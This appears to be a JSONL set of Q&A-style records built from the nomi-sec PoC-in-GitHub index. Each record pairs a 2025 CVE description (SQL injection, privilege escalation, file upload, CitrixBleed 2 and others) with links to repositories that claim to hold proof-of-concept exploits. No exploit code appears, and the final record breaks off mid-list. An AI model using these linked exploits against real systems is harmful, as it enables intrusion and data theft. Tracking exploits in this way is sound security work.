{"id": "gh_9256551e351f", "question": "How to: CVE-2025-4427 (2025-05-13)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nAn authentication bypass in the API component of Ivanti Endpoint Manager Mobile 12.5.0.0 and prior allows attackers to access protected resources without proper credentials via the API.\n```\n- [watchtowrlabs/watchTowr-vs-Ivanti-EPMM-CVE-2025-4427-CVE-2025-4428](https://github.com/watchtowrlabs/watchTowr-vs-Ivanti-EPMM-CVE-2025-4427-CVE-2025-4428)\n- [rxerium/CVE-2025-4427-CVE-2025-4428](https://github.com/rxerium/CVE-2025-4427-CVE-2025-4428)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153098"}
{"id": "gh_4a8a57ff4fe5", "question": "How to: CVE-2025-4428 (2025-05-13)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nRemote Code Execution in API component in Ivanti Endpoint Manager Mobile 12.5.0.0 and prior on unspecified platforms allows authenticated attackers to execute arbitrary code via crafted API requests.\n```\n- [xie-22/CVE-2025-4428](https://github.com/xie-22/CVE-2025-4428)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153102"}
{"id": "gh_c8d434823730", "question": "How to: CVE-2025-4524 (2025-05-21)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe Madara – Responsive and modern WordPress theme for manga sites theme for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 2.2.2 via the 'template' parameter. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other “safe” file types can be uploaded and included.\n```\n- [ptrstr/CVE-2025-4524](https://github.com/ptrstr/CVE-2025-4524)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153108"}
{"id": "gh_f765c72aabcb", "question": "How to: CVE-2025-4578 (2025-06-04)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe File Provider WordPress plugin through 1.2.3 does not properly sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection\n```\n- [RandomRobbieBF/CVE-2025-4578](https://github.com/RandomRobbieBF/CVE-2025-4578)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153112"}
{"id": "gh_aac78c63100d", "question": "How to: CVE-2025-4602 (2025-05-24)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe eMagicOne Store Manager for WooCommerce plugin for WordPress is vulnerable to Arbitrary File Reads in all versions up to, and including, 1.2.5 via the get_file() function. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can contain sensitive information. This is only exploitable by unauthenticated attackers in default configurations where the the default password is left as 1:1, or where the attacker gains access to the credentials.\n```\n- [d0n601/CVE-2025-4602](https://github.com/d0n601/CVE-2025-4602)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153122"}
{"id": "gh_1fa9e34c5bcc", "question": "How to: CVE-2025-4603 (2025-05-24)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe eMagicOne Store Manager for WooCommerce plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the delete_file() function in all versions up to, and including, 1.2.5. This makes it possible for unauthenticated attackers to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php). This is only exploitable by unauthenticated attackers in default configurations where the the default password is left as 1:1, or where the attacker gains access to the credentials.\n```\n- [d0n601/CVE-2025-4603](https://github.com/d0n601/CVE-2025-4603)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153126"}
{"id": "gh_f9f25b9548f1", "question": "How to: CVE-2025-4606 (2025-07-09)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe Sala - Startup & SaaS WordPress Theme theme for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 1.1.4. This is due to the theme not properly validating a user's identity prior to updating their details like password. This makes it possible for unauthenticated attackers to change arbitrary user's passwords, including administrators, and leverage that to gain access to their account.\n```\n- [Yucaerin/CVE-2025-4606](https://github.com/Yucaerin/CVE-2025-4606)\n- [UcenHaxor07/CVE-2025-4606](https://github.com/UcenHaxor07/CVE-2025-4606)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153131"}
{"id": "gh_f1b0634c959e", "question": "How to: CVE-2025-4611 (2025-05-21)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe Slim SEO – Fast & Automated WordPress SEO Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's slim_seo_breadcrumbs shortcode in all versions up to, and including, 4.5.3 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n```\n- [x6vrn/CVE-2025-4611-PoC](https://github.com/x6vrn/CVE-2025-4611-PoC)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153137"}
{"id": "gh_2e39696f88a7", "question": "How to: CVE-2025-4631 (2025-05-31)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe Profitori plugin for WordPress is vulnerable to Privilege Escalation due to a missing capability check on the stocktend_object endpoint in versions 2.0.6.0 to 2.1.1.3. This makes it possible to trigger the save_object_as_user() function for objects whose '_datatype' is set to 'users',. This allows unauthenticated attackers to write arbitrary strings straight into the user’s wp_capabilities meta field, potentially elevating the privileges of an existing user account or a newly created one to that of an administrator.\n```\n- [Nxploited/CVE-2025-4631](https://github.com/Nxploited/CVE-2025-4631)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153142"}
{"id": "gh_501e8031acca", "question": "How to: CVE-2025-4632 (2025-05-13)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nImproper limitation of a pathname to a restricted directory vulnerability in Samsung MagicINFO 9 Server version before 21.1052 allows attackers to write arbitrary file as system authority.\n```\n- [MantisToboggan-git/CVE-2025-4632-POC](https://github.com/MantisToboggan-git/CVE-2025-4632-POC)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153150"}
{"id": "gh_cb4ea3d98d30", "question": "How to: CVE-2025-4660 (2025-05-13)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA remote code execution vulnerability exists in the Windows agent component of SecureConnector due to improper access controls on a named pipe. The pipe is accessible to the Everyone group and does not restrict remote connections, allowing any network-based attacker to connect without authentication. By interacting with this pipe, an attacker can redirect the agent to communicate with a rogue server that can issue commands via the SecureConnector Agent. \\n\\n\\n\\nThis does not impact Linux or OSX Secure Connector.\n```\n- [NetSPI/CVE-2025-4660](https://github.com/NetSPI/CVE-2025-4660)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153155"}
{"id": "gh_74050c936b5b", "question": "How to: CVE-2025-4664 (2025-05-14)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nInsufficient policy enforcement in Loader in Google Chrome prior to 136.0.7103.113 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: High)\n```\n- [speinador/CVE-2025-4664](https://github.com/speinador/CVE-2025-4664)\n- [Leviticus-Triage/ChromSploit-Framework](https://github.com/Leviticus-Triage/ChromSploit-Framework)\n- [amalmurali47/cve-2025-4664](https://github.com/amalmurali47/cve-2025-4664)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153160"}
{"id": "gh_1232fbc5f5de", "question": "How to: CVE-2025-4679 (2025-05-16)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA vulnerability in Synology Active Backup for Microsoft 365 allows remote authenticated attackers to obtain sensitive information via unspecified vectors.\n```\n- [fevar54/CVE-2025-4679-SecureOAuth-Demo---Enfoque-educativo](https://github.com/fevar54/CVE-2025-4679-SecureOAuth-Demo---Enfoque-educativo)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153164"}
{"id": "gh_3a071315b837", "question": "How to: CVE-2025-4686", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "- [sahici/CVE-2025-4686](https://github.com/sahici/CVE-2025-4686)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153168"}
{"id": "gh_a336f8e9d850", "question": "How to: CVE-2025-4688 (2025-09-16)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in BGS Interactive SINAV.LINK Exam Result Module allows SQL Injection.This issue affects SINAV.LINK Exam Result Module: before 1.2.\n```\n- [sahici/CVE-2025-4688](https://github.com/sahici/CVE-2025-4688)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153172"}
{"id": "gh_92fb9223636e", "question": "How to: CVE-2025-4784 (2025-07-24)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Moderec Tourtella allows SQL Injection.This issue affects Tourtella: before 26.05.2025.\n```\n- [sahici/CVE-2025-4784](https://github.com/sahici/CVE-2025-4784)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153177"}
{"id": "gh_210fefb1c8b9", "question": "How to: CVE-2025-4802 (2025-05-16)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nUntrusted LD_LIBRARY_PATH environment variable vulnerability in the GNU C Library version 2.27 to 2.38 allows attacker controlled loading of dynamically shared library in statically compiled setuid binaries that call dlopen (including internal dlopen calls after setlocale or calls to NSS functions such as getaddrinfo).\n```\n- [Betim-Hodza/CVE-2025-4802-Proof-of-Concept](https://github.com/Betim-Hodza/CVE-2025-4802-Proof-of-Concept)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153181"}
{"id": "gh_06341d805c00", "question": "How to: CVE-2025-4822 (2025-07-24)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Bayraktar Solar Energies ScadaWatt Otopilot allows SQL Injection.This issue affects ScadaWatt Otopilot: before 27.05.2025.\n```\n- [sahici/CVE-2025-4822](https://github.com/sahici/CVE-2025-4822)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153185"}
{"id": "gh_9f920ab6775a", "question": "How to: CVE-2025-4840 (2025-06-10)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe inprosysmedia-likes-dislikes-post WordPress plugin through 1.0.0 does not properly sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection\n```\n- [RandomRobbieBF/CVE-2025-4840](https://github.com/RandomRobbieBF/CVE-2025-4840)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153189"}
{"id": "gh_3c1499d2f138", "question": "How to: CVE-2025-5025 (2025-05-28)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nlibcurl supports *pinning* of the server certificate public key for HTTPS transfers. Due to an omission, this check is not performed when connecting with QUIC for HTTP/3, when the TLS backend is wolfSSL. Documentation says the option works with wolfSSL, failing to specify that it does not for QUIC and HTTP/3. Since pinning makes the transfer succeed if the pin is fine, users could unwittingly connect to an impostor server without noticing.\n```\n- [KiPhuong/cve-2025-5025](https://github.com/KiPhuong/cve-2025-5025)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153199"}
{"id": "gh_6822d57cb88c", "question": "How to: CVE-2025-5054 (2025-05-30)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nRace condition in Canonical apport up to and including 2.32.0 allows a local attacker to leak sensitive information via PID-reuse by leveraging namespaces.\\n\\n\\n\\n\\nWhen handling a crash, the function `_check_global_pid_and_forward`, which detects if the crashing process resided in a container, was being called before `consistency_checks`, which attempts to detect if the crashing process had been replaced. Because of this, if a process crashed and was quickly replaced with a containerized one, apport could be made to forward the core dump to the container, potentially leaking sensitive information. `consistency_checks` is now being called before `_check_global_pid_and_forward`. Additionally, given that the PID-reuse race condition cannot be reliably detected from userspace alone, crashes are only forwarded to containers if the kernel provided a pidfd, or if the crashing process was unprivileged (i.e., if dump mode == 1).\n```\n- [daryllundy/cve-2025-5054](https://github.com/daryllundy/cve-2025-5054)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153205"}
{"id": "gh_3fcc6f1b93ec", "question": "How to: CVE-2025-5058 (2025-05-24)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe eMagicOne Store Manager for WooCommerce plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the set_image() function in all versions up to, and including, 1.2.5. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible. This is only exploitable by unauthenticated attackers in default configurations where the the default password is left as 1:1, or where the attacker gains access to the credentials.\n```\n- [d0n601/CVE-2025-5058](https://github.com/d0n601/CVE-2025-5058)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153209"}
{"id": "gh_bef8a391ecbe", "question": "How to: CVE-2025-5095 (2025-08-08)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nBurk Technology ARC Solo's password change mechanism can be utilized without proper \\nauthentication procedures, allowing an attacker to take over the device.\\n A password change request can be sent directly to the device's HTTP \\nendpoint without providing valid credentials. The system does not \\nenforce proper authentication or session validation, allowing the \\npassword change to proceed without verifying the request's legitimacy.\n```\n- [TeteuXD2/CVE-2025-5095-POC](https://github.com/TeteuXD2/CVE-2025-5095-POC)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153214"}
{"id": "gh_1cae98c406d7", "question": "How to: CVE-2025-5222 (2025-05-27)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA stack buffer overflow was found in Internationl components for unicode (ICU ). While running the genrb binary, the 'subtag' struct overflowed at the SRBRoot::addTag function. This issue may lead to memory corruption and local arbitrary code execution.\n```\n- [berkley4/icu-74-debian](https://github.com/berkley4/icu-74-debian)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153228"}
{"id": "gh_5bfe1c457200", "question": "How to: CVE-2025-5252 (2025-05-27)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nIn PHPGurukul News Portal Project 4.1 wurde eine Schwachstelle ausgemacht. Sie wurde als kritisch eingestuft. Hierbei betrifft es unbekannten Programmcode der Datei /admin/edit-subadmin.php. Dank der Manipulation des Arguments emailid mit unbekannten Daten kann eine sql injection-Schwachstelle ausgenutzt werden. Umgesetzt werden kann der Angriff über das Netzwerk. Der Exploit steht zur öffentlichen Verfügung.\n```\n- [aydin5245/CVE-2025-5252-CVE-ivanti](https://github.com/aydin5245/CVE-2025-5252-CVE-ivanti)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153235"}
{"id": "gh_80b6e10c95e0", "question": "How to: CVE-2025-5287 (2025-05-28)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe Likes and Dislikes Plugin plugin for WordPress is vulnerable to SQL Injection via the 'post' parameter in all versions up to, and including, 1.0.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n```\n- [Nxploited/CVE-2025-5287](https://github.com/Nxploited/CVE-2025-5287)\n- [wiseep/CVE-2025-5287](https://github.com/wiseep/CVE-2025-5287)\n- [RandomRobbieBF/CVE-2025-5287](https://github.com/RandomRobbieBF/CVE-2025-5287)\n- [RootHarpy/CVE-2025-5287](https://github.com/RootHarpy/CVE-2025-5287)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153240"}
{"id": "gh_57ec58703a49", "question": "How to: CVE-2025-5288 (2025-06-13)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe REST API | Custom API Generator For Cross Platform And Import Export In WP plugin for WordPress is vulnerable to Privilege Escalation due to a missing capability check on the process_handler() function in versions 1.0.0 to 2.0.3. This makes it possible for unauthenticated attackers to POST an arbitrary import_api URL, import specially crafted JSON, and thereby create a new user with full Administrator privileges.\n```\n- [Nxploited/CVE-2025-5288](https://github.com/Nxploited/CVE-2025-5288)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153245"}
{"id": "gh_4b55ccdb2586", "question": "How to: CVE-2025-5304 (2025-06-28)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe PT Project Notebooks plugin for WordPress is vulnerable to Privilege Escalation due to missing authorization in the wpnb_pto_new_users_add() function in versions 1.0.0 through 1.1.3. This makes it possible for unauthenticated attackers to elevate their privileges to that of an administrator.\n```\n- [Nxploited/CVE-2025-5304](https://github.com/Nxploited/CVE-2025-5304)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153249"}
{"id": "gh_979223947d23", "question": "How to: CVE-2025-5319", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "- [sahici/CVE-2025-5319](https://github.com/sahici/CVE-2025-5319)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153255"}
{"id": "gh_40816dd6652e", "question": "How to: CVE-2025-5329", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "- [sahici/CVE-2025-5329](https://github.com/sahici/CVE-2025-5329)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153259"}
{"id": "gh_da55bdc4e00a", "question": "How to: CVE-2025-5349 (2025-06-17)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nImproper access control on the NetScaler Management Interface in NetScaler ADC and NetScaler Gateway\n```\n- [olimpiofreitas/CVE-2025-5349-Scanner](https://github.com/olimpiofreitas/CVE-2025-5349-Scanner)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153264"}
{"id": "gh_6cb99751063c", "question": "How to: CVE-2025-5352 (2025-08-23)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA critical stored Cross-Site Scripting (XSS) vulnerability exists in the Analytics component of lunary-ai/lunary versions up to 1.9.23, where the NEXT_PUBLIC_CUSTOM_SCRIPT environment variable is directly injected into the DOM using dangerouslySetInnerHTML without any sanitization or validation. This allows arbitrary JavaScript execution in all users' browsers if an attacker can control the environment variable during deployment or through server compromise. The vulnerability can lead to complete account takeover, data exfiltration, malware distribution, and persistent attacks affecting all users until the environment variable is cleaned. The issue is fixed in version 1.9.25.\n```\n- [sahiloj/CVE-2025-5352](https://github.com/sahiloj/CVE-2025-5352)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153269"}
{"id": "gh_102cc29fc8dc", "question": "How to: CVE-2025-5394 (2025-07-15)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe Alone – Charity Multipurpose Non-profit WordPress Theme theme for WordPress is vulnerable to arbitrary file uploads due to a missing capability check on the alone_import_pack_install_plugin() function in all versions up to, and including, 7.8.3. This makes it possible for unauthenticated attackers to upload zip files containing webshells disguised as plugins from remote locations to achieve remote code execution.\n```\n- [fokda-prodz/CVE-2025-5394](https://github.com/fokda-prodz/CVE-2025-5394)\n- [Nxploited/CVE-2025-5394](https://github.com/Nxploited/CVE-2025-5394)\n- [Yucaerin/CVE-2025-5394](https://github.com/Yucaerin/CVE-2025-5394)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153275"}
{"id": "gh_9c55ebcbddfc", "question": "How to: CVE-2025-5419 (2025-06-02)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nOut of bounds read and write in V8 in Google Chrome prior to 137.0.7151.68 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)\n```\n- [itsShotgun/chrome_v8_cve_checker](https://github.com/itsShotgun/chrome_v8_cve_checker)\n- [riemannj/CVE-2025-5419](https://github.com/riemannj/CVE-2025-5419)\n- [mistymntncop/CVE-2025-5419](https://github.com/mistymntncop/CVE-2025-5419)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153279"}
{"id": "gh_923031440c3d", "question": "How to: CVE-2025-5701 (2025-06-05)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe HyperComments plugin for WordPress is vulnerable to unauthorized modification of data that can lead to privilege escalation due to a missing capability check on the hc_request_handler function in all versions up to, and including, 1.2.2. This makes it possible for unauthenticated attackers to update arbitrary options on the WordPress site. This can be leveraged to update the default role for registration to administrator and enable user registration for attackers to gain administrative user access to a vulnerable site.\n```\n- [Nxploited/CVE-2025-5701](https://github.com/Nxploited/CVE-2025-5701)\n- [RandomRobbieBF/CVE-2025-5701](https://github.com/RandomRobbieBF/CVE-2025-5701)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.153289"}
{"id": "gh_691db2c76c81", "question": "How to: CVE-2025-5777 (2025-06-17)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nInsufficient input validation leading to memory overread when the NetScaler is configured as a Gateway (VPN virtual server, ICA Proxy, CVPN, RDP Proxy) OR AAA virtual server\n```\n- [mingshenhk/CitrixBleed-2-CVE-2025-5777-PoC-](https://github.com/mingshenhk/CitrixBleed-2-CVE-2025-5777-PoC-)\n- [RickGeex/CVE-2025-5777-CitrixBleed](https://github.com/RickGeex/CVE-2025-5777-CitrixBleed)\n- [idobarel/CVE-2025-5777](https://github.com/idobarel/CVE-2025-5777)\n- [nocerainfosec/cve-2025-5777](https://github.com/nocerainfosec/cve-2025-5777)\n- [RaR1991/citrix_bleed_2](https://github.com/RaR1991/citrix_bleed_2)\n- [orange0Mint/CitrixBleed-2-CVE-2025-5777](https://github.com/orange0Mint/CitrixBleed-2-CVE-2025-5777)\n- [Chocapikk/CVE-2025-5777](https://github.com/Chocapikk/CVE-2025-5777)\n- [win3zz/CVE-2025-5777](https://github.com/win3zz/CVE-2025-5777)\n- [FrenzisRed/CVE-2025-5777](https://github.com/FrenzisRed/CVE-2025-5777)\n- [bughuntar/CVE-2025-5777](https://github.com/bughuntar/CVE-2025-5777)\n- [0xgh057r3c0n/CVE-2025-5777](https://github.com/0xgh057r3c0n/CVE-2025-5777)\n- [SleepNotF0und/CVE-2025-5777](https://github.com/SleepNotF0und/CVE-2025-5777)\n- [cyberleelawat/ExploitVeer](https://github.com/cyberleelawat/ExploitVeer)\n- [Ashwesker/Ashwesker-CVE-2025-5777](https://github.com/Ashwesker/Ashwesker-CVE-2025-5777)\n- [Shivshantp/CVE-2025-5777-TrendMicro-ApexCentral-RCE](https://github.com/Shivshantp/CVE-2025-5777-TrendMicro-ApexCentral-RCE)\n- [rob0tstxt/POC-CVE-2025-5777](https://github.com/rob0tstxt/POC-CVE-2025-5777)\n- [below0day/Honeypot-Logs-CVE-2025-5777](https://github.com/below0day/Honeypot-Logs-CVE-2025-5777)\n- [soltanali0/CVE-2025-5777-Exploit](https://github.com/soltanali0/CVE-2025-5777-Exploit)\n- [rootxsushant/Citrix-NetScaler-Memory-Leak-CVE-2025-5777](https://github.com/rootxsushant/Citrix-NetScaler-Memory-Leak-CVE-2025-5777)\n- 